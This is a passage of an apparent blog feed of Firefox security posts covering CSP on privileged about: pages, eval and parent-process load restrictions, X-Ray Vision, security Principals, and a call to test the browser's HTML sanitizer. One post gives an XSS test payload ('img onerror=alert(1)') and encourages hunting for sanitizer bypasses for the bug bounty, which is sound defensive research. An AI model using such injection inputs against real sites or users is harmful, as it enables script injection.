&lt;p&gt;If one were able to inject script into a privileged about: page it would
represent a complete browser takeover in many cases. To reduce this
injection attack surface, we apply a strong Content Security Policy
(CSP) of &lt;a href="https://searchfox.org/mozilla-central/search?q=default-src+chrome%3A&amp;amp;path=&amp;amp;case=false&amp;amp;regexp=false"&gt;default-src
chrome:&lt;/a&gt;
to all about: pages. The applied CSP restricts script to only JavaScript
files bundled and shipped with the browser and accessible only via the
Firefox &lt;a href="https://developer.mozilla.org/en-US/docs/Mozilla/Chrome_Registration"&gt;internal chrome://
protocol&lt;/a&gt;.
Whenever loading any kind of JavaScript, Firefox internally consults its
CSP implementation by calling the function
&lt;a href="https://searchfox.org/mozilla-central/rev/027893497316897b8f292bde48dbb6da2391a331/dom/security/nsCSPContext.cpp#117"&gt;ShouldLoad()&lt;/a&gt;
for external resources, or
&lt;a href="https://searchfox.org/mozilla-central/rev/027893497316897b8f292bde48dbb6da2391a331/dom/security/nsCSPContext.cpp#518"&gt;GetAllowsInline()&lt;/a&gt;
for inline scripts. If the script to be executed is not allow-listed by
the added CSP then Firefox will block the script execution, rendering
the code injection attack obsolete.&lt;/p&gt;
&lt;p&gt;Further, we verify that any newly added about: page within Firefox
exposes a strong CSP by consulting the function
&lt;a href="https://searchfox.org/mozilla-central/rev/2c1092dc68c63f7bad6da6a03c5883a5ab5ff2ca/dom/security/nsContentSecurityUtils.cpp#794"&gt;AssertAboutPageHasCSP()&lt;/a&gt;.
This function basically acts as a commit guard to our codebase and
ensures that no about: page makes it into the Firefox codebase without a
strong CSP.&lt;/p&gt;
&lt;p&gt;Before we started to protect about: pages with a CSP we faced a bug
where text and markup controlled by a web application was reused in a
permission prompt, which led to a Universal Cross-Site Scripting (UXSS)
attack in the browser interface
(&lt;a href="https://www.mozilla.org/en-US/security/advisories/mfsa2018-05/"&gt;CVE-2018-5124&lt;/a&gt;).
These scripts run with elevated privileges that get access to internal
APIs and can result in a full system compromise. What raises the
severity of such bugs is the high-level nature of the vulnerability and
the highly deterministic nature of the exploit code which allowed
comparably trivial exploitation.&lt;/p&gt;
&lt;p&gt;Allowing JavaScript only from packaged sources and not allowing any
inline script in any privileged context limits the attack surface of
arbitrary code execution and provides a strong first line of defense
against code injection attacks.&lt;/p&gt;
&lt;h3&gt;Restricting Loads in Privileged Contexts&lt;/h3&gt;
&lt;p&gt;Higher privileged contexts within Firefox have access to APIs that are
capable of modifying the browser settings and its user interface. Most
prominently, about:config, which exposes an API to inspect and update
preferences and settings which allows Firefox users to tailor their
Firefox instance to their specific needs and desires. Being able to set
arbitrary preferences is powerful enough that we treat it as a full
security bypass.&lt;/p&gt;
&lt;p&gt;We ensure that privileged APIs (such as those that allow setting
preferences) are restricted to HTML documents and scripts that are part
of the Firefox source code. More precisely, system privileged code
within Firefox should never need to load remote web content, because all
the user interface code is packaged and shipped with the browser itself.&lt;/p&gt;
&lt;p&gt;Enforcing additional restrictions on privileged APIs not only fixes an
theoretical attack vector: In June 2019, we were made aware of an active
exploit that combined a JavaScript JIT bug
&lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1544386"&gt;(CVE-2019-11707)&lt;/a&gt;
to gain arbitrary code execution with a logic bug in our IPC
(Inter-Process Communication) code
&lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1559858"&gt;(CVE-2019-11708)&lt;/a&gt;.
The logic bug allowed loading remote web content in the parent process.
In order to gain code execution within the unsandboxed parent process,
the exploit loaded itself in the parent process and exploited the same
JIT engine bug again. We addressed and fixed the specific issues
instantly and shipped a fix to the JIT bug and the IPC method within a
few days.&lt;/p&gt;
&lt;p&gt;In addition to fixing the specific problem, and as a defense in depth
mechanism, we started to enforce additional restrictions to eliminate
that entire class of security problems. By adding and consulting the
function
&lt;a href="https://searchfox.org/mozilla-central/rev/5a4aaccb28665807a6fd49cf48367d47fbb5a19a/docshell/base/nsDocShell.cpp#8863"&gt;CanLoadInParentProcess()&lt;/a&gt;
Firefox is effectively not allowing documents with a scheme other than
chrome:, about: or resource: to load in the parent process. Adding this
additional restriction limits document loads to the aforementioned
schemes and therefore prevents any remote web document loads in the
parent process.&lt;/p&gt;
&lt;p&gt;To systematically restrict all resource loads (document and subresource
loads) into system privileged context or the parent process all loads
consult the function
&lt;a href="https://searchfox.org/mozilla-central/source/dom/security/nsContentSecurityManager.cpp#763"&gt;CheckAllowLoadInSystemPrivilegedContext()&lt;/a&gt;.
Since Firefox enforces a &lt;a href="https://blog.mozilla.org/security/2016/11/10/enforcing-content-security-by-default-within-firefox/"&gt;Security by
Default&lt;/a&gt;
loading mechanism for all resource loads we build our monitoring system
on top of these efforts which allows us to enforce runtime assertions
for every resource load. This security mechanism ensures that Firefox
can only load resources into system privileged context or the parent
process if the resource is packaged and shipped with the browser, hence
eliminating an entire set of privilege escalation attacks.&lt;/p&gt;
&lt;h3&gt;Restricting Eval in System Privileged Contexts&lt;/h3&gt;
&lt;p&gt;The JavaScript function eval() provides a powerful yet dangerous tool.
An attacker who could inject strings into our user interface (UI) code
that is then eval-ed would allow the attacker to execute script in a
system privileged context, allowing a complete browser takeover&lt;/p&gt;
&lt;p&gt;Please note that our UI is written using standard web technologies such
as HTML and JavaScript. This JavaScript code runs with system
privileges. Relying on internet technologies to write the browser user
interface has a multitude of advantages such as rapid prototyping and
quicker development cycles, but also exposes the risk of injection
attacks.&lt;/p&gt;
&lt;p&gt;To provide a defense in depth mechanism against string injection attacks
which would turn into executable code at runtime, we removed all
instances of eval() in system privileged code. By consulting the
function
&lt;a href="https://searchfox.org/mozilla-central/rev/2c1092dc68c63f7bad6da6a03c5883a5ab5ff2ca/dom/security/nsContentSecurityUtils.cpp#394"&gt;IsEvalAllowed()&lt;/a&gt;
at runtime we ensure that all calls to eval() are blocked in system
privileged contexts.&lt;/p&gt;
&lt;p&gt;Removing all occurrences of eval() in system privileged contexts reduces
the attack surface of arbitrary code execution and hence provides an
additional layer of security against code injection attacks.&lt;/p&gt;
&lt;h3&gt;Restricting access through X-Ray Vision&lt;/h3&gt;
&lt;p&gt;Though Firefox has been shipping with a hardening mechanism known as
X-Ray Vision for a multitude of years, X-Ray Vision builds the
foundation for the hardening work we are presenting in this blogpost.
Not having X-Ray vision would render all additional hardening efforts
obsolete, hence it’s worth sketching out fundamentals about that
security mechanism within this blogpost.&lt;/p&gt;
&lt;p&gt;Firefox runs JavaScript from a variety of different sources and at a
variety of different privilege levels, and at times these privilege
levels must interact. The security machinery in Firefox ensures that
there is asymmetric access between code at different privilege levels.
In more detail, Firefox ensures that web content code can not access
JavaScript objects created by chrome code, but chrome code can access
objects created by content. However, even the ability to access content
objects can be a security risk for chrome code.&lt;/p&gt;
&lt;p&gt;Almost a decade ago, Mozilla realized the importance of secure
interactions between privileged Javascript code belonging to the browser
application and web content script. Within the &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=929539"&gt;Meta Bug
929539&lt;/a&gt; and its
dependencies, Firefox created the concept of X-Ray vision to mitigate an
entire class of privilege escalation attacks.&lt;/p&gt;
&lt;p&gt;The fundamental principle of &lt;a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/Xray_vision"&gt;X-Ray
Vision&lt;/a&gt;
is that dynamic content-controlled data is only exposed through
well-defined access points for a given object type. When a privileged
script accesses an object, it sees only the native version of the
object. If any properties of the object have been redefined by web
content, it sees the original implementation, not the redefined version.&lt;/p&gt;
&lt;p&gt;X-Ray Vision is implemented by identifying the separation of execution
contexts of JavaScript. Once this identification is made, we can extend
the checks logically. If content code somehow got a reference to an
object from a higher privilege level, then trying to dereference that
handle is where access would actually be blocked. And similarly,
although two origins are the same privilege level insomuch as they are
both content-privileged; they are separate execution contexts and are
also blocked. Hence, X-Ray Vision provides a systematic guard to
eliminate an entire set of privilege escalation problems within Firefox.&lt;/p&gt;
&lt;h3&gt;Going Forward&lt;/h3&gt;
&lt;p&gt;Adding layers of security allows us to harden the codebase of Firefox
against all injection attacks we are not aware of or may get introduced
in the future. We encourage contributors, hackers, and bug bounty
hunters to verify there are no flaws in our design. While the provided
mechanisms provide a solid line of defense we would like to call out
that bypassing any of the presented defense in depth mechanisms is
eligible for a &lt;a href="https://www.mozilla.org/en-US/security/client-bug-bounty/"&gt;bug
bounty&lt;/a&gt;.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Understanding Web Security Checks in Firefox (Part 1)</title><link href="https://frederik-braun.com/understanding-web-security-checks-in-firefox-part-1.html" rel="alternate"></link><published>2020-06-10T00:00:00+02:00</published><updated>2020-06-10T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2020-06-10:/understanding-web-security-checks-in-firefox-part-1.html</id><summary type="html">&lt;p&gt;&lt;em&gt;This blog post has first appeared on the &lt;a href="https://blog.mozilla.org/attack-and-defense/2020/06/10/understanding-web-security-checks-in-firefox-part-1/"&gt;Mozilla Attack &amp;amp; Defense blog&lt;/a&gt; and was co-authored with Christoph Kerschbaumer&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This is the first part of a blog post
series that will allow you to understand how Firefox implements Web
Security fundamentals, like the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy"&gt;Same-Origin
Policy&lt;/a&gt;.
This first post of the series …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;This blog post has first appeared on the &lt;a href="https://blog.mozilla.org/attack-and-defense/2020/06/10/understanding-web-security-checks-in-firefox-part-1/"&gt;Mozilla Attack &amp;amp; Defense blog&lt;/a&gt; and was co-authored with Christoph Kerschbaumer&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This is the first part of a blog post
series that will allow you to understand how Firefox implements Web
Security fundamentals, like the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy"&gt;Same-Origin
Policy&lt;/a&gt;.
This first post of the series covers the architectural design,
terminology, and introduces core interfaces that our implementation of
the Same-Origin Policy relies on:
&lt;a href="https://searchfox.org/mozilla-central/source/caps/nsIPrincipal.idl"&gt;nsIPrincipal&lt;/a&gt;
and
&lt;a href="https://searchfox.org/mozilla-central/source/netwerk/base/nsILoadInfo.idl"&gt;nsILoadinfo&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Background on Web Security Checks&lt;/h2&gt;
&lt;p&gt;Whenever Firefox on Desktop or Android
fetches a resource from the web, Firefox performs a variety of web
security checks to ensure web pages can not harm end users by performing
malicious actions. For example, when loading a sub-resource from a web
page, Firefox ensures that its URL is not targeting the local file
system with a file:// scheme. Before diving deeper into Firefox Security
internals we have to introduce the term 
Security Principal*
, which is key for understanding how Firefox
enforces web security checks.&lt;/p&gt;
&lt;h2&gt;The Security Contexts in Firefox&lt;/h2&gt;
&lt;p&gt;All web related security checks within
Firefox are evaluated based on the security concept of a Principal.
Briefly, a Principal reflects a security context. E.g., when visiting
https://example.com a *
Content-Principal*
of https://example.com reflects the security
context of that page. More precisely, Firefox captures the security
context using one of the following four types of Principals:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Content-Principal&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://html.spec.whatwg.org/multipage/origin.html"&gt;HTML
specification&lt;/a&gt;
associates an origin with a Document or a Worker. That origin
information is encapsulated within a Content-Principal and reflects
the security context for all web-hosted resources. E.g. when loading
the web page https://example.com, then Firefox creates a
Content-Principal encapsulating origin information of
https://example.com which then reflects the security context of that
web page.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Null-Principal&lt;/strong&gt;&lt;br&gt;
    In special cases, websites are
    never same-origin with anything else. Two such cases are iframes
    with a sandbox attribute and documents loaded with a data: URI. The
    HTML specification calls the origin of those pages an &lt;a href="https://html.spec.whatwg.org/multipage/origin.html#concept-origin-opaque"&gt;opaque
    origin&lt;/a&gt;.
    Our implementation uses a  *
   Null-Principal* 
   for reflecting the security context of
    an opaque origin. In contrast to a Content-Principal which
    internally maps to the origin of the resource, a Null-Principal uses
    a custom scheme and host, e.g. moz-nullprincipal:{0bceda9f-…}, where
    the host is represented as a UUID. So, when loading an iframe with a
    sandbox attribute Firefox internally generates a Null-Principal to
    reflect that security context. Please note that a Null-Principal is
    not equal to any other Principal and also not equal to any other
    Null-Principal. E.g., a data: URI iframe is not same-origin with
    another data: URI iframe because both security contexts are mapped
    through different Null-Principals.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;System-Principal&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The *
   System-Principal*
is used for the browser’s user
interface, commonly referred to as “browser chrome”. An example of a
page with these extra privileges is “about:support”. The
System-Principal is shared across all privileged resources, and
implemented as a Singleton. Since browser chrome code does not rely
on a URI, the System-Principal internally also does not map to an
origin. The System-Principal passes all security checks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Expanded-Principal&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A browser extension is more privileged than normal web pages, but
must also be able to assume the security context of a website.
Hence, an *
   Expanded-Principal&lt;em&gt;
is best understood as a *
   list of principals&lt;/em&gt;
to match the security needs for
&lt;a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Content_scripts"&gt;Content
Scripts&lt;/a&gt;
in Firefox Extensions. When creating an Expanded-Principal Firefox
takes multiple existing Principals, storing them in an allowlist.
The security checks on the Expanded-Principal are then implemented
as a loop through this allowlist of principals.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;The Loading Life-Cycle in Firefox&lt;/h2&gt;
&lt;p&gt;Whenever a page performs a request,
Firefox internally creates an
&lt;a href="https://searchfox.org/mozilla-central/source/netwerk/base/nsIChannel.idl"&gt;nsIChannel&lt;/a&gt;
object (which acts as the transport
algorithm, such as HTTP(S), WebSocket etc.). Amongst other things an
&lt;a href="https://searchfox.org/mozilla-central/source/netwerk/base/nsIChannel.idl"&gt;nsIChannel&lt;/a&gt;
consists of an
&lt;a href="https://searchfox.org/mozilla-central/source/netwerk/base/nsIURI.idl"&gt;nsIURI&lt;/a&gt;,
which is the URI to be loaded, and an
&lt;a href="https://searchfox.org/mozilla-central/source/netwerk/base/nsILoadInfo.idl"&gt;nsILoadInfo&lt;/a&gt;
object. The latter holds all security
relevant attributes including security flags indicating what security
checks need to be performed and the aforementioned Principal. It is
worth emphasizing that the loadinfo – including the Principal – gets
frozen at creation time and remains attached to the
&lt;a href="https://searchfox.org/mozilla-central/source/netwerk/base/nsIChannel.idl"&gt;nsIChannel&lt;/a&gt;
instance even if the load encounters
any kind of redirect, e.g. a 302. The last step before Firefox starts
loading bits over the network is performing all relevant security checks
within the function
&lt;a href="https://searchfox.org/mozilla-central/rev/501eb4718d73870892d28f31a99b46f4783efaa0/netwerk/base/nsIChannel.idl#189"&gt;asyncOpen()&lt;/a&gt;
of any
&lt;a href="https://searchfox.org/mozilla-central/source/netwerk/base/nsIChannel.idl"&gt;nsIChannel&lt;/a&gt;
implementation.&lt;/p&gt;
&lt;h2&gt;Enforcing Web Security Checks in Firefox&lt;/h2&gt;
&lt;p&gt;Firefox enforces all &lt;a href="https://blog.mozilla.org/security/2016/11/10/enforcing-content-security-by-default-within-firefox/"&gt;web security
checks by
default&lt;/a&gt;
by consulting a centralized
&lt;a href="https://searchfox.org/mozilla-central/source/dom/security/nsContentSecurityManager.cpp"&gt;ContentSecurityManager&lt;/a&gt;.
As mentioned, every
&lt;a href="https://searchfox.org/mozilla-central/rev/501eb4718d73870892d28f31a99b46f4783efaa0/netwerk/base/nsIChannel.idl#189"&gt;asyncOpen()&lt;/a&gt;
implementation internally calls
&lt;a href="https://searchfox.org/mozilla-central/rev/501eb4718d73870892d28f31a99b46f4783efaa0/dom/security/nsContentSecurityManager.cpp#940"&gt;doContentSecurityCheck()&lt;/a&gt;
which then performs all relevant web
security checks e.g., &lt;a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy"&gt;Same-Origin
Policy&lt;/a&gt;,
&lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP"&gt;Content Security
Policy&lt;/a&gt;, &lt;a href="https://developer.mozilla.org/en-US/docs/Web/Security/Mixed_content"&gt;Mixed
Content
Blocking&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To perform all relevant security
checks Firefox has to take *
multiple* 
principals into consideration, most notably
the
&lt;a href="https://searchfox.org/mozilla-central/rev/501eb4718d73870892d28f31a99b46f4783efaa0/netwerk/base/nsILoadInfo.idl#254"&gt;loadingPrincipal&lt;/a&gt;
and the
&lt;a href="https://searchfox.org/mozilla-central/rev/501eb4718d73870892d28f31a99b46f4783efaa0/netwerk/base/nsILoadInfo.idl#304"&gt;triggeringPrincipal&lt;/a&gt;. 
The loadingPrincipal is the
principal of the document where the result of the load will be used. The
triggeringPrincipal is the
security context that actually triggered the URL to load. In most cases
the loadingPrincipal and the triggeringPrincipal are identical. One
example where loadingPrincipal and triggeringPrincipal differ is a
cross-origin CSS file requesting an image. In that case the
loadingPrincipal is a Content-Principal of the page where the image will
be loaded into, and the triggeringPrincipal is a cross-origin
Content-Principal of the CSS file.&lt;/p&gt;
&lt;p&gt;Taking the loadingPrincipal and the
triggeringPrincipal into account, Firefox performs security checks in an
*asymmetric *
fashion. More precisely, a Principal may
have access to another Principal but not necessarily vice versa. This is
also why security checks are not implemented as equality checks.
Instead, Firefox relies on the concept of ‘subsumes’. In more detail,
Firefox uses aPrincipal-&amp;gt;Subsumes(aOtherPrincipal), to see if
aPrincipal has access to
aOtherPrincipal.&lt;/p&gt;
&lt;p&gt;The aforementioned System-Principal
subsumes all other principals, but a Null-Principal basically fails all
security checks and is only same-origin with itself. A Content-Principal
is same- origin to another Content-Principal if &lt;a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy"&gt;scheme, host and
port&lt;/a&gt;
are the same for both. If so, Firefox
allows the load.&lt;/p&gt;
&lt;h2&gt;An illustrative example of a Web Security Check&lt;/h2&gt;
&lt;p&gt;Let’s assume you visit the web page https://example.com and that page
then loads library.js from https://foo.com. For the JavaScript load to
occur Firefox will internally create an nsIChannel with the URL of
https://foo.com/library.js.&lt;/p&gt;
&lt;p&gt;&lt;img src="images/sec_by_default-600x426.jpg" width="600" height="426" /&gt;&lt;/p&gt;
&lt;p&gt;As illustrated, the loadinfo for that load would include the following
information: A triggeringPrincipal of https://example.com, because the
page https://example.com actually triggered the load to occur. The
loadingPrincipal would also be set to https://example.com because the
result of the JS load will be used in the security context of
https://example.com. The ContentPolicy type will be set to TYPE_SCRIPT
which e.g., allows mapping of content type to Content Security Policy
directives (in this particular case to the script-src directive).
Finally, the security flags would be set to ALLOW_CROSS_ORIGIN because
JavaScript files are allowed to be loaded cross origin.&lt;/p&gt;
&lt;p&gt;While in that particular case Firefox would allow the cross origin load,
it would still ensure that the web page is not trying to access the
local file system of the end user.&lt;/p&gt;
&lt;h2&gt;Going Forward&lt;/h2&gt;
&lt;p&gt;In this blog post, we explained how Firefox enforces Web Security
checks, like the Same-Origin Policy. In the next post we’ll explain how
to enable available logging mechanisms which allow for visual inspection
of every web security check performed. We hope that this introduction
will aid security research as well as bug bounty hunting and sparks your
curiosity to go further, even contribute to Mozilla and the Open Web.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Help Test Firefox's built-in HTML Sanitizer to protect against UXSS bugs</title><link href="https://frederik-braun.com/test-firefox-xss-sanitizer.html" rel="alternate"></link><published>2019-12-06T00:00:00+01:00</published><updated>2019-12-06T00:00:00+01:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2019-12-06:/test-firefox-xss-sanitizer.html</id><summary type="html">&lt;p&gt;&lt;em&gt;This article first appeared on the &lt;a href="https://blog.mozilla.org/security/2019/12/02/help-test-firefoxs-built-in-html-sanitizer-to-protect-against-uxss-bugs/"&gt;Mozilla Security blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I recently gave a talk at OWASP Global AppSec in Amsterdam and
summarized the presentation in a blog post about &lt;a href="https://frederik-braun.com/firefox-ui-xss-leading-to-rce.html"&gt;&lt;em&gt;how to achieve
"critical"-rated code execution vulnerabilities in Firefox with
user-interface
XSS&lt;/em&gt;&lt;/a&gt;.
The end of that blog posts encourages the …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;This article first appeared on the &lt;a href="https://blog.mozilla.org/security/2019/12/02/help-test-firefoxs-built-in-html-sanitizer-to-protect-against-uxss-bugs/"&gt;Mozilla Security blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I recently gave a talk at OWASP Global AppSec in Amsterdam and
summarized the presentation in a blog post about &lt;a href="https://frederik-braun.com/firefox-ui-xss-leading-to-rce.html"&gt;&lt;em&gt;how to achieve
"critical"-rated code execution vulnerabilities in Firefox with
user-interface
XSS&lt;/em&gt;&lt;/a&gt;.
The end of that blog posts encourages the reader to participate the bug
bounty program, but did not come with proper instructions. This blog
post will describe the mitigations Firefox has in place to protect
against XSS bugs and how to test them. Our about: pages are privileged
pages that control the browser (e.g., &lt;code&gt;about:preferences&lt;/code&gt;, which
contains Firefox settings). A successful XSS exploit has to bypass &lt;a href="https://blog.mozilla.org/security/2019/10/14/hardening-firefox-against-injection-attacks/"&gt;&lt;em&gt;the
Content Security Policy (CSP), which we have recently
added&lt;/em&gt;&lt;/a&gt;
but also our built-in XSS sanitizer to gain arbitrary code execution. A
bypass of the sanitizer without a CSP bypass is in itself a
severe-enough security bug and warrants a bounty, subject to the
discretion of the Bounty Committee. See the &lt;a href="https://www.mozilla.org/en-US/security/client-bug-bounty/"&gt;&lt;em&gt;bounty
pag&lt;/em&gt;&lt;/a&gt;&lt;a href="https://www.mozilla.org/en-US/security/client-bug-bounty/"&gt;&lt;em&gt;es&lt;/em&gt;&lt;/a&gt;
for more information, including how to submit findings.&lt;/p&gt;
&lt;h1&gt;How the Sanitizer works&lt;/h1&gt;
&lt;p&gt;The Sanitizer runs in the so-called &lt;a href="https://w3c.github.io/DOM-Parsing/#dfn-fragment-parsing-algorithm"&gt;&lt;em&gt;"fragment
parsing"&lt;/em&gt;&lt;/a&gt;
step of innerHTML. In more detail, whenever someone uses innerHTML (or
similar functionality that parses a string from JavaScript into HTML)
the browser builds a DOM tree data structure. Before the newly parsed
structure is appended to the existing DOM element our sanitizer
intervenes. This step ensures that our sanitizer can not mismatch the
result the actual parser would have created - because it is indeed the
actual parser. The line of code that triggers the sanitizer is in
&lt;a href="https://searchfox.org/mozilla-central/rev/171109434c6f2fe086af3b2322839b346a112a99/dom/base/nsContentUtils.cpp#4683"&gt;&lt;em&gt;nsContentUtils::ParseFragmentHTML&lt;/em&gt;&lt;/a&gt;
and &lt;em&gt;nsContentUtils::ParseFragmentXML&lt;/em&gt;. This aforementioned link points
to a specific source code revision, to make hotlinking easier. Please
click the file name at the top of the page to get to the newest revision
of the source code. The sanitizer is implemented as an allow-list of
elements, attributes and attribute values in
&lt;a href="https://searchfox.org/mozilla-central/source/dom/base/nsTreeSanitizer.cpp"&gt;&lt;em&gt;nsTreeSanitizer.cpp&lt;/em&gt;&lt;/a&gt;.
Please consult the allow-list before testing. &lt;strong&gt;Finding a Sanitizer
bypass is a hunt for&lt;/strong&gt; &lt;a href="https://en.wikipedia.org/wiki/Cross-site_scripting#Mutated_XSS_(mXSS)"&gt;&lt;strong&gt;&lt;em&gt;Mutated XSS
(mXSS)&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;
&lt;strong&gt;bugs in Firefox&lt;/strong&gt; -- Unless you find an element in our allow-list that
has recently become capable of running script.&lt;/p&gt;
&lt;h1&gt;How and where to test&lt;/h1&gt;
&lt;p&gt;A browser is a complicated application which consists of millions of
lines of code. If you want to find new security issues, you should test
the &lt;a href="https://nightly.mozilla.org/"&gt;&lt;em&gt;latest development version&lt;/em&gt;&lt;/a&gt;. We
often times rewrite lots of code that isn't related to the issue you
are testing but might still have a side-effect. To make sure your bug is
actually going to affect end users, test &lt;a href="https://nightly.mozilla.org/"&gt;&lt;em&gt;Firefox
Nightly&lt;/em&gt;&lt;/a&gt;. Otherwise, the issues you find
in Beta or Release might have already been fixed in Nightly.&lt;/p&gt;
&lt;h1&gt;Sanitizer runs in all privileged pages&lt;/h1&gt;
&lt;p&gt;Some of Firefox's internal pages have more privileges than regular web
pages. For example about:config allows the user to modify advanced
browser settings and hence relies on those expanded privileges. Just
open a new tab and navigate to about:config. Because it has access to
privileged APIs it can not use innerHTML (and related functionality like
outerHTML and so on) without going through the sanitizer.&lt;/p&gt;
&lt;h3&gt;Using Developer Tools to emulate a vulnerability&lt;/h3&gt;
&lt;p&gt;From &lt;code&gt;about:config&lt;/code&gt;, open The developer tools console (Go to &lt;em&gt;Tools&lt;/em&gt; in
the menu bar. Select &lt;em&gt;Web Developers&lt;/em&gt;, then &lt;em&gt;Web Console&lt;/em&gt;
(Ctrl+Shift+k)). To emulate an XSS vulnerability, type this into the
console: &lt;code&gt;document.body.innerHTML = '&amp;lt;img src=x onerror=alert(1)&amp;gt;'&lt;/code&gt;
Observe how Firefox sanitizes the HTML markup by looking at the error in
the console:
&lt;code&gt;“Removed unsafe attribute. Element: img. Attribute: onerror.”&lt;/code&gt; You may
now go and try other variants of XSS against this sanitizer. Again, try
finding an mXSS bug or by identifying an allowed combination of element
and attribute which execute script.&lt;/p&gt;
&lt;h3&gt;Finding an actual XSS vulnerability&lt;/h3&gt;
&lt;p&gt;Right, so for now we have &lt;em&gt;emulated&lt;/em&gt; the Cross-Site Scripting (XSS)
vulnerability by typing in innerHTML ourselves in the Web Console.
That's pretty much cheating. But as I said above: &lt;em&gt;What we want to find
are sanitizer bypasses. This is a call to test our mitigations.&lt;/em&gt; But if
you still want to find real XSS bugs in Firefox, I recommend you run
some sort of smart static analysis on the Firefox JavaScript code. And
by smart, I probably do not mean
&lt;a href="https://github.com/mozilla/eslint-plugin-no-unsanitized"&gt;&lt;em&gt;eslint-plugin-no-unsanitized&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Summary&lt;/h1&gt;
&lt;p&gt;This blog post described the mitigations Firefox has in place to protect
against XSS bugs. These bugs can lead to remote code execution outside
of the sandbox. We encourage the wider community to double check our
work and look for omissions. This should be particularly interesting for
people with a web security background, who want to learn more about
browser security. Finding severe security bugs is very rewarding and
we're looking forward to getting some feedback. If you find something,
please consult the &lt;a href="https://www.mozilla.org/en-US/security/bug-bounty/"&gt;&lt;em&gt;Bug Bounty
pages&lt;/em&gt;&lt;/a&gt; on how to
report it.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Remote Code Execution in Firefox beyond memory corruptions</title><link href="https://frederik-braun.com/firefox-ui-xss-leading-to-rce.html" rel="alternate"></link><published>2019-09-29T00:00:00+02:00</published><updated>2019-09-29T00:00:00+02:00</updated><author><name>Freddy</name></author><id>tag:frederik-braun.com,2019-09-29:/firefox-ui-xss-leading-to-rce.html</id><summary type="html">&lt;p&gt;&lt;em&gt;This is the blog post version of my presentation form OWASP Global AppSec in Amsterdam 2019. It was presented in the &lt;a href="https://ams.globalappsec.org/program/allstars"&gt;AllStars Track&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Abstract:&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Browsers are complicated enough to have attack surface beyond memory safety issues. This talk will look into injection flaws in the user interface of Mozilla Firefox …&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;This is the blog post version of my presentation form OWASP Global AppSec in Amsterdam 2019. It was presented in the &lt;a href="https://ams.globalappsec.org/program/allstars"&gt;AllStars Track&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Abstract:&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Browsers are complicated enough to have attack surface beyond memory safety issues. This talk will look into injection flaws in the user interface of Mozilla Firefox, which is implemented in JS, HTML, and an XML-dialect called XUL. With an Cross-Site Scripting (XSS) in the user interface attackers can execute arbitrary code in the context of the main browser application process. This allows for cross-platform exploits of high reliability. The talk discusses past vulnerabilities and will also suggest mitigations that benefit Single Page Applications and other platforms that may suffer from DOM-based XSS, like Electron.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Prologue&lt;/h1&gt;
&lt;p&gt;(This is the part, where we reduce the lighting and shine a flashlight into my face)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Listen, well, young folks. Old people, browser hackers or Mozilla fanboys, might use this as an opportunity to lean back and stroke their mighty neckbeard, as they have heard all of this before&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;It was the year 1997, and people thought XML was a great idea. In fact, it was so much better than its warty and unparseable predecessor HTML. While XHTML was the clear winner and successor for great web applications, it was &lt;em&gt;obvious&lt;/em&gt; that XML would make a great user interface markup language to create a powerful cross-platform toolkit dialect.
This folly marks the hour of birth for XUL. XUL was created as the &lt;em&gt;XML User Interface Language&lt;/em&gt; at Netscape (the company that created the origins of the Mozilla source code. Long story. The younger folks might want to read upon Wikipedia or watch the amazing Movie "Code Rush", which is available on archive.org). Jokingly, XUL was also a reference to the classic 1984 movie Ghostbusters, in which an evil deity called Zuul (with a Z) possesses innocent people.&lt;/p&gt;
&lt;p&gt;Time went by and XUL did not take off as a widely-recognized standard for cross-platform user interfaces. Firefox has almost moved from XUL and re-implemented many parts in HTML.
Aptly named after an evil spirit, we will see that XUL still haunts us today.&lt;/p&gt;
